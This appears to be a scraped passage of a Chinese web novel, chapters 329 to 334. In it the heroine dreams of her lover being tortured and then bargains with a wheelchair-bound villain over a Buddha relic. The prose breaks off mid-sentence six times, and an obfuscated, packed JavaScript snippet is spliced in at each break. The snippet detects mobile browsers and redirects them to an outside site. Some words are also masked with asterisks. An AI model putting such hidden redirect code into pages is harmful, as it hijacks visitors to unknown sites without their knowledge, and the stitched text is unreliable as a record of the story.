就在众人乱作一团时,秦绵绵却摆摆手,让大家都先回去睡觉。 众人一愣。 秦绵绵脸上带着一丝疲惫,扫了一眼乱糟糟的众人,最后目光落在林鸢身上。 “姑姑,”她轻声开口,声音有些沙哑,“我睡不着,噩梦又来了。” “你把佛手拿来给我,握着它,我能睡得安稳点。” 众人都不明白秦绵绵这是怎么了,这么千辛万苦得到的佛头,突然就不见了。 为什么不赶紧去找? 但看秦绵绵的这幅样子,似乎真的很是不舒服,众人也就难再说什么了。 只能纷纷散去。 秦绵绵的目光再次落到林鸢身上。 林鸢的心猛地一缩。 她知道,秦绵绵什么都知道了。 佛头根本没有被萧家的人偷走。 是她,趁着大家在医院为叶子雯奔忙时,偷偷将佛头藏了起来。 她怕了。 叶子舟的死,像一记重锤,彻底砸碎了她心里最后一丝侥幸。 她不能眼睁睁看着自己失而复得的亲人,为了一个不知是生是死的男人,踏上一条注定要粉身碎骨的绝路。 可她没想到,秦绵绵连质问都懒得质问,只是用这样一种方式,平静地、不容置喙地,向她暗示,或者说明示。 林鸢的手在口袋里攥得死紧,指甲几乎要嵌进掌心。 她张了张嘴,想说什么,想劝说,想把那些关于未来的、安稳的、正常人该过的生活都说出来。 但在秦绵绵那双眼睛的注视下,所有的话都堵在了喉咙里,变成了一团苦涩的棉絮。 最终,她还是颤抖着,从贴身的口袋里,取出了那尊泛着青灰色光泽的石雕佛手,递了过去。 秦绵绵接过佛手,入手微凉,那奇异的质感瞬间让她纷乱的心绪沉静了些许。 她也没有跟林鸢说别的,只是点了点头,转身回了房间,关上了门。 门外,林鸢靠着冰冷的墙壁,缓缓滑坐在地,将脸埋进了膝盖里,肩膀无声地耸动着。 …… 黑暗中,秦绵绵躺在床上,将那尊冰凉的佛手紧紧攥在掌心。 疲惫如潮水般涌来,却带不来安宁的睡眠。 叶子舟坠入深渊的画面,叶子雯苍白失神的脸,林鸢绝望的眼神……一幕幕,在脑海里反复交错。 她闭上眼,强迫自己沉入黑暗。 不知过了多久,意识渐渐模糊。 当她再次“睁开”眼时,眼前不再是客栈的天花板。 雕梁画栋,金丝楠木的立柱泛着温润的光泽。 空气里飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990618|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着名贵的龙涎香,香气浓郁得几乎要将人的神魂都熏得酥软。 这里好像是一处新建的府邸,处处富贵繁华。 她四下望望,最终视线落在不远处冰冷光滑的青石地面上。 一个瘦削的、穿着粗布衣衫的男人,正跪在那里,用一块破布,一遍又一遍地擦拭着地砖。 他的动作很慢,很仔细,仿佛怕漏掉任何一粒灰尘。 他的手背上,布满了青紫的伤痕和已经结痂的血口,十指在冰冷的水里泡得发白、浮肿。 是裴应见。 秦绵绵的心脏像是被一只无形的手狠狠攥住,痛得她无法呼吸。 他瘦了太多,脸颊深陷,眼窝下一片青黑,原本那双总是带着温和笑意的眼睛,此刻只剩下麻木的、空洞的死寂。 一个穿着华贵罗裙的女人,正倚在不远处的软榻上,一边漫不经心地用银签挑着果盘里的葡萄,一边用眼角的余光,监视着地上的男人。 是那个月娘。 她似乎很享受这样的场景,红唇勾起一抹慵懒而残忍的笑意。 “这里,”她忽然开口,声音带着冰冷的寒意。她伸出穿着精致绣鞋的脚,随意地在裴应见刚刚擦过的地方,碾了一下,“脏了。” 裴应见的身子僵了一下,没有抬头,也没有说话,只是默默地挪过去,用那块已经看不出原色的破布,重新擦拭她踩过的地方。 “没吃饭吗?用力。”月娘的声音冷了下来,绣鞋的鞋尖,毫不留情地踢在了裴应见的肩膀上。 他闷哼一声,身体晃了晃,险些栽倒,却还是强撑着,加重了手上的力道。 月娘的嘴上浮起一丝残忍的笑意,突然抬手,抄起桌上的东西就劈头盖脸朝裴应见砸过去。 裴应见状态真的很差,被这么一砸,竟然整个人翻到过去,再也没爬起来。 月娘眉头一皱,走过去查看:“晕了?” 她很是不满意,转头想找些什么东西,接着虐打裴应见,让他醒过来。 就在这时,一个阴柔的、带着笑意的男声,从门口传来。 “几天不见,我的月娘也会调教下人了。” 第330章 谁才是你的主子 一个穿着玄色长袍的男人,坐在轮椅上,悄无声息地滑了进来。 他脸上戴着一张狰狞的面具,并看不见面容如何,整个人却带着一种说不出的邪气,那双眼睛像毒蛇一样,饶有兴致地在跪地的裴应见和榻上的月娘之间流转。 看到他,月娘的身体明显绷紧了,脸上那份随意的残忍瞬间褪去,换上了一种带着冷意的恭敬。 她起身,迎了上去:“您怎么来了?” “来看看你的新玩物。”男人的目光,黏在了昏迷的裴应见的背上,那眼神,像是在欣赏一件有趣的艺术品,“筋骨不错,就是性子太闷了些,没意思。” 他划着轮椅走到裴应见身边,居高临下地审视着,忽然轻笑一声,对月娘说:“光是打,不长记性。要让他痛,又不能让他昏过去。下次,试试拿针,刺他的指甲缝。” 他说的云淡风轻,仿佛在交流什么莳花弄草的心得。 裴应见的身子,微不可查地颤抖了一下。 月娘的脸色,却白了白。 她下意识地看了一眼裴应见,嘴唇动了动,似乎想说什么。 男人敏锐地捕捉到了她这一瞬间的异样。 他脸上的笑意,慢慢冷了下来。 “怎么?”他转过头,盯着月娘,声音变得危险而低沉,“我的小月娘,把他当个宝贝了?舍不得了?” “没有。”月娘冷冷否认。 “呵,”男人发出一声冷笑,忽然伸手一把捏住月娘的下巴,强迫她抬起头,“你是我一手养大的,你心里那点小九九,我看不出来?” 他的眼神变得暴戾而阴鸷:“翅膀硬了?觉得能脱离我的掌控了?敢护着你的东西了?!” 月娘的眼中慢慢浮现出了恐惧,身体也控制不住地发起抖来。 “跪下。” 男人冰冷地吐出两个字。 月娘的膝盖一软,不受控制地,重重跪在了冰冷的地面上。 就在裴应见的身旁。 男人松开手,慢条斯理地解下腰间的一条黑色皮鞭,在掌心轻轻敲了敲。 “看来,是我太久没教你规矩,让你忘了谁才是你的主子。” 那条黑色的皮鞭,在男人手中像条活过来的毒蛇,鞭梢在空中划出“嘶”的一声轻响,带着阴冷的风,狠狠抽在了月娘的背上。 “啪!” 清脆的爆响,在空旷的殿中格外刺耳。 月娘的身体猛地一颤,背上那身华贵的罗裙瞬间裂开一道口子,血痕随之渗出。 她却咬紧了牙,一声不吭,只是跪在那里的身子,挺得更直了。 “不说话?”轮椅上的男人轻笑,那笑声里没有半分温度,“看来是我太久没让你长记性了。” “啪!” 又是一鞭,比上一鞭更重,更狠。 月娘闷哼一声,额角渗出冷汗,她下意识地朝旁边挪了挪,用自己的身体,挡在了裴应见面前。 这个细微的动作,彻底点燃了男人的怒火。 “好,很好。”他声音里的笑意彻底消失,取而代之的是暴戾的阴鸷,“我的东西,也敢护着别的男人了?” 他的语调变得缓慢而残忍,手中的皮鞭不再落下,反而用鞭柄,轻轻挑起了月娘的下巴。 “你说,我是该先划花你这张脸,还是该先挑断他的手筋呢?” 月娘的瞳孔骤然收缩。 她猛地抬起头,那双总是带着冷意的眼睛里,第一次带上了别的不明的情绪。 “他是我的!除了我,谁也别想动他一根手指头!” 她的背上被抽的血肉模糊,这句话却仍然掷地有声。 男人一愣。 他似乎没想到,自己一向驯服的工具,会爆发出如此强烈的反抗。 随即,他笑了,笑得愈发残忍。 “你是不是忘了,你的一切,包括你这条命,都是谁给的?” 他收回鞭子,不再抽打,反而俯下身,用那阴柔得令人毛骨悚然的声音,在她耳边低语: “既然这么宝贝,那我就当着你的面,把他一寸寸拆了。我要让你看着,你护着的东西,是怎么变成一滩烂泥的。” 他说着,便要驱动轮椅,转向裴应见。 “不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990619|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 月娘彻底崩溃了,她扑过去,死死抱住轮椅的轮子,整个人卑微地趴在地上,用后背承受着男人愤怒的踢打。 “求你……别动他……” 她突然一声短促的哭喊溢出唇齿,不再是之前的冰冷和强硬,而是带着一种支离破碎的绝望。 这声音…… 一直在旁看着的秦绵绵,注意力一开始一直放在那个男人身上。 只因这个男人给她的感觉,实在是太过熟悉了。 他一手一脚,身体残缺,做轮椅,阴戾狠毒。 虽然看不到脸,但这种感觉,简直跟现代的萧玦一模一样! 可是萧玦明明在现代的,那眼前这个男人是谁? 而看情形,这个人似乎是教导并养大**月娘的人。 所以,他才是月娘背后的主人? 秦绵绵思绪正纷乱,但听到月娘的这声,她的注意力忽然回到了她身上。 秦绵绵的心脏猛地一抽。 之前都没有察觉出来,今天她才忽然意识到,这个月娘的声音,似乎很是熟悉。 为什么? 秦绵绵越发起疑,很想上前去看清楚月娘的容貌到底如何。 但她的容貌却愈发的模糊看不清楚。 就在她拼命想要分辨那模糊的容颜时,一旁,被月娘护在身下的裴应见,一直紧闭的眼角处,忽然缓缓滑下了一滴泪。 画面,轰然碎裂。 …… 意识从支离破碎的噩梦中抽离,秦绵绵猛地睁开眼。 客栈房间里熟悉的天花板映入眼帘,窗外透进来的天光,刺得她眼睛生疼。 她还躺在床上,手心里,那尊石雕佛手冰凉的触感,是唯一真实的东西。 梦里那阴柔的男声,那张狰狞的面具,还有月娘护在裴应见身前时,那一声不似她本人的、破碎的哭喊……一切都像烙铁,深深地烫在她的脑子里。 那个男人……是萧玦吗? 不,无论是时代还是地点,都对不上。 可那股子从骨子里透出来的阴狠邪气,简直如出一辙。 第331章 他就是那么重要 还有月娘……她到底是谁? 为什么她那一声哭喊,会让自己觉得如此熟悉,甚至心头一抽? “咚、咚。” 轻轻的敲门声打断了秦绵绵纷乱的思绪。 门被推开一条缝,林鸢探进头来,她的脸色憔悴,眼下是浓重的青黑,显然一夜未眠。 看到秦绵绵醒了,她像是松了口气,走了进来,反手关上了门。 “绵绵,”林鸢的声音沙哑,带着一丝小心翼翼的试探,“你醒了……那个佛手,能不能先给姑姑保管?” 秦绵绵缓缓地坐起身,黑沉沉的目光落在林鸢身上,那眼神里没有半点刚睡醒的迷蒙,只有一片冰冷的清明。 “佛头呢?”她反问,声音平静得没有一丝波澜。 林鸢的身体猛地僵了一下,脸上的表情瞬间变得很不自然。 “傻丫头你说什么呢,佛头不是丢了,在找么……” 秦绵绵只继续平静道: “千辛万苦找到的佛头,如果真的丢了,姑姑你不应该是这样的反应。” 林鸢彻底没了话说。 她避开秦绵绵的视线,几步走到床边坐下,伸手想去握秦绵绵的手,却被她不着痕迹地避开了。 林鸢的手尴尬地停在半空,只好收了回来。 秦绵绵将佛手攥在自己掌心,下了最后通牒:“想要佛手,先把佛头拿出来,姑姑。” “绵绵,你听姑姑说,”林鸢望着她,深吸一口气,语气变得语重心长,“我好不容易才找到你,姑姑不能再失去你了。叶子舟的事……那座墓有多凶险,我们都看到了,如果你穿越到大雍,这中间还不知道要经历多少危险……那个叫裴应见的人,他就……” “他怎么样?”秦绵绵打断了她,声音依旧平静。 “他就那么重要吗?” 秦绵绵略微移开视线,望向窗外。 半晌,她低声回答:“是的,他就是那么重要。” “可是……可是这些事,也不一定要你亲自去做。姑姑的实验室里有完整的团队,我们可以召集专业的人才来,去做这件事……穿越时空毕竟太危险了,一切都是未知……绵绵,姑姑真的不能再失去你了……” 秦绵绵依旧平静地望着她。 她理解,对于林鸢的一切担心,她都非常的理解。 但她不能。 林鸢看着她平静的脸,心慢慢往下沉,她知道,那平静之下,压着一座即将喷发的火山。 果然,秦绵绵下一秒就接着道: “他对我非常重要,我不能把他交给别人。” “何况时间也来不及了。” “……他是死是活,总要我去看了才知道。” “可那根本不是我们这个世界的人和事!你去了,还能回来吗?万一……” “没有万一。”秦绵绵的眼睛里,翻涌着林鸢看不懂的、近乎偏执的疯狂与痛苦,“姑姑,你睡过一个安稳觉吗?” 林鸢一愣。 “我没有。”秦绵绵自顾自地说下去,声音轻得像一阵风,却又重得能砸穿人的心脏,“我每天晚上,都会梦到他。梦到他被人用鞭子抽,被人踩在脚下,被人当成狗一样作践……他每一分,每一秒,都在等我……” 她顿了顿,每一个字都像是从齿缝里挤出来的。 “你说的安稳日子,我过不了。只要他还在受苦,我活着,就是一种煎熬。” 林鸢被她话里那股浓得化不开的绝望和执念震住了。 她看着秦绵绵那张与自己兄嫂有几分相似的脸,看着她眼底那深可见骨的痛苦,所有劝说的话,都堵在了喉咙里。 她忽然明白了,自己那些“为了你好”的道理,在这个已经下定决心要奔赴地狱的人面前,是多么的苍白无力。 房间里陷入了死寂。 良久,林鸢像是被抽走了全身的力气,缓缓地吐出一口气。 她抬起头,用一种混杂着无奈、心疼,却又带着一丝奇异骄傲的复杂眼神看着秦绵绵。 “你……”她苦笑了一下,“你真不愧是我们林家的人。一样的犟,一样的……不要命。” 她站起身,像是做出了什么重大的决定。 “等着。” 她丢下两个字,转身走出了房间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990620|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 几个小时后,一行人再次上了后山。 事不宜迟,林鸢带着仪器,佛手,佛头,和大家一起朝石窟进发。 天黑之前,他们终于站到了那处被警方封锁的石窟前。 张队已经提前打点好了一切。 石窟内,那尊残破的佛像,静静地矗立在昏暗的光线里,无悲无喜。 林鸢将一个用布层层包裹的东西递给秦绵绵,正是那尊佛头。 秦绵绵接过,与手中的佛手并排放在一起。 众人屏住呼吸,目光都聚焦在那尊巨大的佛像上。 “不对……”一直沉默的朱七妹忽然出声,她指着佛像的胸口位置,“你们看那里。” 顺着她手指的方向,众人这才惊觉,这尊佛像不只是缺了头和手。 在它宽阔的胸膛正中心,赫然有一个碗口大小的、漆黑的空洞。 那空洞边缘平滑,像是一个精密的圆形凹槽,仿佛原本有什么东西严丝合缝地嵌在里面,如今却被人生生取走了。 一股不祥的预感,瞬间攫住了所有人的心。 可事已至此,没有退路。 秦绵绵深吸一口气,拿着佛头,林鸢则捧着佛手,两人对视一眼,一同上前,将两件东西,缓缓地安放回了佛像空缺的位置。 严丝合缝。 仿佛它们天生就该在那里。 一秒。 两秒。 十秒。 石窟里死一般的寂静,什么都没有发生。 没有光,没有声音,没有任何奇异的现象。 那佛像,依旧是一尊冰冷的、残缺的石头。 众人都看向林鸢。 林鸢却在看向自己带来的仪器。 此时此刻,因为佛头和佛手的归位,仪器上有了一点小小的数据波动。 但是这点波动,对于穿越时空来说,简直可以忽略不计。 林鸢轻轻摇了摇头。 刚刚燃起的希望,在这一刻,被彻底浇灭。 “怎么会……怎么会没用?”姜敬意喃喃自语,满脸的不可置信。 第332章 可佛的心呢 “啪、啪、啪。” 突然,一阵缓慢而清晰的鼓掌声,突兀地从石窟入口处传来,在这死寂的环境里,显得格外刺耳。 众人猛地回头。 只见洞口的阴影里,一架轮椅,悄无声息地滑了进来。 萧玦坐在上面,脸上带着一丝猫捉老鼠般的、恶意的微笑,他身后,站着几个神情冷漠的黑衣人。 “真是感人的一幕。”他的声音轻飘飘的,却带着一股令人胆寒的压迫感,“可惜啊,忙了半天,却用错了地方。” 他好整以暇地欣赏着众人惊怒交加的表情,最后,用下巴朝着佛像胸口那个空洞点了点。 “佛头,佛手……都有了。” 他拖长了语调,像个宣布最终谜底的判官,眼神里满是嘲弄。 “可佛的心呢?” “那里面,原本供奉着一枚佛舍利。没有它,你们手里的,不过是两块会发光的漂亮石头罢了。” 佛的心? 这三个字,像淬了冰的针,狠狠扎进每个人的耳朵里。 萧玦的声音不高,却带着一种奇异的穿透力,在空旷的石窟中回荡,将众人刚刚被浇灭的希望,彻底碾成了齑粉。 他身后那几个黑衣人,如同没有生命的雕塑,默然无声地散开,堵**唯一的出口。 那黑洞洞的枪口,在昏暗中泛着幽冷的金属光泽,无声地宣告着他们的处境。 瓮中之鳖。 “你……你怎么会知道?”姜敬意下意识地后退一步。 萧玦没有理他,那双被恶意浸透的眼睛,始终饶有兴致地落在秦绵绵身上。 他享受着这种掌控一切的感觉,像个优雅的猎手,欣赏着猎物最后的挣扎。 “我为什么知道?”他轻笑一声,操纵着轮椅,缓缓向前滑行了半米,碾过地上的碎石,发出“咔哒”的轻响,“因为,我找它的时间,比你们久得多。” 他的目光,从秦绵绵手中的佛手,滑到那尊残破的佛像上,最后,定格在佛像胸口那个黑漆漆的空洞上。 那眼神里,有一种秦绵绵看不懂的、近乎贪婪的渴望。 “没有佛心,佛头与佛手,不过是两块有点灵性的石头。”萧玦慢条斯理地宣告,像是在陈述一个无可辩驳的真理,“它们能让你们做几个有趣的梦,或许还能在关键时刻烫个手,但想靠它们撕裂时空?痴人说梦。” 他竟连佛手会发烫都知道! 秦绵绵的心,一寸寸地沉了下去。 这个人对佛头的了解,远在他们之上。他不是临时的闯入者,而是一个布局已久的猎人。 “你想怎么样?”秦绵绵开口,声音冷得像石窟里的石头。 在林鸢等人惊怒交加的注视下,她没有丝毫的慌乱,反而往前站了一步,将其他人挡在了身后。 “聪明人。”萧玦赞许地点点头,脸上的笑意更浓了,“我喜欢和聪明人谈条件。” 他伸出两根手指。 “两个选择。” “第一,你们把东西交出来,我留你们一个全尸。” “第二,”他顿了顿,享受着众人脸上浮现的绝望,才缓缓开口,“你们替我做事,我们合作,一起找到那枚佛舍利。事成之后,这穿越时空的机会,我们可以……共享。” 共享? 林鸢和姚祁对视一眼,都从对方眼中看到了荒谬。 和这个**不眨眼的魔鬼共享?无异于与虎谋皮! “凭什么信你?”朱七妹闷声闷气地开口,往前站了一步。 “凭你们现在没得选。”萧玦脸上的笑意淡去,取而代之的是毫不掩饰的森然杀机,“或者,你们想试试,是你的拳头快,还是我身后这些人的**快?” 石窟内的空气,瞬间凝固。 所有人的心都提到了嗓子眼。 就在这剑拔**张的时刻,秦绵绵却忽然笑了。 那笑声很轻,在这死寂的环境里,却像一道尖锐的划痕,刺破了萧玦营造出的压迫感。 “好啊,”她看着萧玦,平静地吐出两个字,“合作。” “绵绵!”林鸢失声惊呼。 “绵绵,不能答应他!”姜敬意也急了。 萧玦也有些意外,他挑了挑眉,似乎没想到她会答应得这么干脆。 秦绵绵无视了身后众人的骚动,她的目光像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003108|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两把锋利的刀,直直地刺向萧玦的眼睛。 “但我有一个条件。” “说。” “朱七妹,还有朱小宝,你必须彻底放弃。”秦绵绵的声音不大,却掷地有声,“从现在开始,我们的任何事,都不能牵扯到他们。” 朱七妹猛地回头,不敢置信地看着秦绵绵的侧脸:“掌柜的,我……” “听话。”秦绵绵头也没回,冷冷打断了她。 萧玦的眼睛眯了起来。 他审视着秦绵绵,似乎想从她脸上看出什么。 这些日子,他专注于石窟的事,已经很久没有打朱七妹和朱小宝的主意了。 虽然他知道她们就在那里。 但,一来发生了太多的事,他们想必已经回不到从前,即便他出手,秦绵绵也一定会从中作梗。 二来,他实在是有更重要的事情要做。 萧玦的目光从朱七妹的脸上扫过,没有做过多停留。 “可以。” 下一秒,他挥了挥手,身后一个黑衣人立刻上前,对朱七妹做了个“请”的手势。 “我会送她回去,保证她和小宝的安全,你们的客栈也不会有任何人打扰。” 萧玦的承诺,快得让人心慌。 秦绵绵的心,沉得更深了。 他答应得太轻易了。 这反而证明,他真正的目标,从始至终就只有她,或者说,是她手里的佛头和佛手。 而他的目的,绝不仅仅是“共享”那么简单。 这到底是为什么。 朱七妹还想说什么,却被秦绵绵一个眼神制止了。 她看着秦绵绵,又看了看虎视眈眈的黑衣人,最终只能重重地点了点头,跟着黑衣人,一步一回头地走出了石窟。 …… 夜,深了。 山上的风,带着刺骨的寒意。 萧玦的人在石窟外安营扎寨,火光跳跃,将一张张冷漠的脸映照得明明暗暗。 高级露营帐篷里十分舒适。 萧玦靠在宽大舒适的椅子上,脸上那种猫捉老鼠的笑意早已褪去,取而代之的是一种深入骨髓的疲惫。 第333章 为什么会梦到姜飞飞 他闭着眼,眉头紧锁,似乎在承受着巨大的痛苦。 窗外,火光映着他苍白的侧脸,那张总是带着恶意的脸,在无人时,竟透出几分脆弱。 意识,在疲惫中渐渐下沉。 他又回到了那个地方。 高大围墙,幽深庭院,空气里弥漫着一股腐朽的、黏腻的气息。 他依旧坐在那张熟悉的轮椅上,身体是残缺的,可脑子里却无比清醒。 他知道这是梦。 一个纠缠了他无数个夜晚的,醒来后却只会留下无尽空虚和暴戾的梦。 但今晚的梦,似乎有些不同。 寝室的门被推开,一个身段妖娆的少女,端着一盏酒,袅袅娜娜地走了进来。 她穿着一身薄如蝉翼的纱裙,姣好的身形若隐若现,脸上带着讨好又羞怯的媚笑。 “主人,”她跪倒在轮椅前,仰起那张年轻又漂亮的脸,将酒杯举过头顶,“夜深了,奴家……伺候您安寝。” 无聊的把戏。 这么多年,他从不需要女人。 萧玦在梦里冷漠地想着,心中没有半点波澜,只有厌烦。 他正要像往常一样,让她滚出去。 可当他的目光,落在少女那张脸上时,他整个人,如遭雷击。 那张脸…… 那张脸,分明和姜飞飞,他那个被他亲手送进这趟浑水里的妹妹,长得一模一样! 不,不对,不是一模一样。 是比姜飞飞更精致,更妩媚,眉眼间却又带着一丝被精心调教出来的、属于**的那种冷意。 怎么会这样! “滚!” 一声暴喝,从他的喉咙里炸开。 他几乎是出于本能,用尽全身的力气,一脚将那个“姜飞飞”狠狠踹了出去! 少女发出一声惊呼,连人带酒杯,狼狈地摔倒在几米外的地毯上,满脸都是错愕和恐惧。 “主人……” “滚出去!” 梦里的他,双目赤红,像一头被触及逆鳞的困兽,全身都在不受控制地剧烈颤抖。 “嗬!” 萧玦猛地睁开眼,从座椅上弹坐起来,胸口剧烈地起伏着,额头上全是冷汗。 帐篷内温暖如春,他却如坠冰窟。 又是这个梦。 可为什么……为什么会梦到姜飞飞? 他烦躁地扯开领口的扣子,拿起手边的水,狠狠灌了几口,才勉强压下心头那股暴戾的杀意和莫名的恐慌。 他转过头,望向窗外不远处的石窟入口。 黑暗中,那个洞口像一只择人而噬的巨兽。 他忽然有一种强烈的预感。 或许,他要找的答案,和他每晚经历的这一切,都藏在那尊残破的佛像背后。 而秦绵绵,就是打开这一切的,唯一的钥匙。 …… 第二天一早,山里的雾气还未散尽,冷得像刀子。 萧玦的人已经送来了热腾腾的早餐,摆在他那顶豪华帐篷前的折叠桌上。 他没叫秦绵绵等人,但那食物的香气,却精准地飘进了他们简陋的营地。 姚祁和姜敬意脸色难看,这比直接的羞辱更让人不舒服。 秦绵绵面无表情地啃着干粮,仿佛没闻到那股味道。 直到萧玦的人过来“请”,她才放下手里的东西,拍了拍手,带着林鸢几人,走进了那个与周遭环境格格不入的帐篷。 萧玦已经收拾妥当,面前摆着一台笔记本电脑。 “坐。”他示意了一下。 没人动。 他也不在意,自顾自地点开了一段视频。 画面昏暗,抖动得厉害,像是一段很多年前的偷拍录像。 一个金发碧眼的白人男子,正对着镜头,用一种极其蹩脚的、带着浓重口音的中文,兴奋地挥舞着手臂。 “……佛的……心!是钥匙!不是神话,是技术!我们可以……永远活着!意识永生!” 男人的表情近乎狂热,眼神里闪烁着一种偏执的光。 视频很短,到此便戛然而止。 帐篷里一片死寂。 “安德森,”萧玦关掉电脑,声音平淡,“十几年前青塔湖盗宝案的出资人之一。也是除了严启山之外,唯一一个接触过佛心的活人。我们要找的东西,也许只有他知道下落。” “你这么大本事,再加上萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003109|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀雅的力量,”秦绵绵开门见山,声音里没有一丝温度,“查不出一个外国人?” 萧玦的动作顿了一下。 他抬起眼,看向秦绵绵,那双总是盛满恶意的眼睛里,难得地掠过一丝阴霾。 “我和萧秀雅,闹掰了。” 他沉默片刻,终究还是说了出来,“她动用了关系,已经离开了警局,不知所踪。我们……要走的路不一样。” “哪你的路是什么?”秦绵绵追问。 萧玦的嘴角勾起一抹嘲讽的弧度,却没有回答,反而看向她:“你不想知道,那‘意识永生’是什么意思吗?” 秦绵绵想也没想就道:“我不想。” “呵,”萧玦低笑一声,“我只能告诉你,我们的目标暂时一致,查出安德森的下落,对我们都有好处。我……不会害你们。” 最后那句话,他说得有些生硬,像是在说服自己。 帐篷里的气氛僵持着。 姚祁和姜敬意满脸不信,和这个魔鬼合作,无异于饮鸩止渴。 “好。” 秦绵绵却答应了。 她转向林鸢:“姑姑,动用你的人脉,查这个安德森。所有和他有关的线索,一条都不要放过。” 林鸢看着她,最终沉重地点了点头。 这场古怪的合作,就以这样一种互相猜忌、各怀鬼胎的方式,开始了。 …… 又是一天过去。 林鸢那边还没有消息,山上的等待,让每个人都心浮气躁。 夜。 萧玦再次陷入了那个熟悉的梦境。 还是那个阴森的庭院,还是那张轮椅。 这一次面前的人换了一个。 女人身形消瘦,浑身是伤,跪在他面前,低着头。 虽然看不清楚脸,但萧玦知道这不是姜飞飞。 但不知道为什么,这个女人竟然也给他一种熟悉的感觉。 而此时此刻,他更清晰地意识到,自己在做什么。 他在训练这个女人。 用最残忍、最没有人性的方式,磨掉她所有的情感、恐惧和尊严,要把她打造成一把完美的、只知道听从命令的刀。 第334章 异域少年 这曾是他最擅长的事。 他看着地上的女人因为痛苦而蜷缩,因为恐惧而颤抖,心中却是一片冰冷的漠然。 他拿起桌上的烛台,将滚烫的蜡油,一滴滴地,浇在她白皙的后背上。 “痛吗?”他听见自己用一种平静到可怕的声音问。 女人咬着牙,不吭声。 “看着我。”他命令道。 他伸手,捏住她的下巴,强迫她抬起头。 他想欣赏她脸上那绝望又倔强的表情。 可就在他看清那张脸的瞬间,整个梦境,连同他心里那座冰冷的堡垒,轰然倒塌。 那张布平静和倔强的脸,竟然是……秦绵绵! 砰! 梦境猛然破碎。 萧玦再一次从座椅上惊醒,心脏狂跳得几乎要冲出胸膛。 他大口喘着气,眼前全是梦里那张脸,那双眼睛…… 他猛地转头,视线穿透帐篷的布帘,死死地盯住了不远处秦绵绵等人露营的简陋帐篷。 这纠缠不休的梦,到底是什么? 为什么,为什么会出现秦绵绵…… 萧玦的脸上,第一次,浮现出一种近乎恐惧的迷茫。 夜色深沉,似乎没有人发现他的帐篷里发生的一切。 萧玦用了很久才终于平静下来。 只有他知道,这恐怕不是一个梦。 因为他做这种奇怪的梦,已经很久了。 久到**什么时候开始,把对朱七妹的执着,改变成了对佛头佛手下落的探寻。 他跟萧秀雅合作,也是基于此。 虽然是梦境,但是那种清楚感受的感觉,却让人印象深刻,欲罢不能。 他很清楚地意识到,这或许,并不是梦。 尤其是在他得知萧秀雅的时空研究跟这些佛头佛手有关系之后。 他决心探问真相。 而今天的梦境里,这真相之中,竟然掺杂了秦绵绵那个女人。 所以,她的目的,其实也跟他一样,是吗? …… 与萧玦的人马在同一片山头对峙,每一秒都像在刀尖上行走。 等待,是最熬人的酷刑。 林鸢那边动用了所有能动用的关系,消息如石沉大海,那个叫安德森的外国人,像一滴水融入了**,再也寻不到半点踪迹。 山里的夜,寒气能钻进骨头缝里。 姚祁坐在火堆旁,收拾着他背包里的东西,他拿出一把小巧的**擦拭着,刀锋映着火光,也映着他紧绷的下颚线。 姜敬意则烦躁地来回踱步,嘴里不停念叨着什么,像只被困在笼里的兽。 空气里弥漫着火烧木柴的噼啪声,和远处萧玦营地里传来的、若有似无的笑谈声,那声音像软刀子,割着每个人的神经。 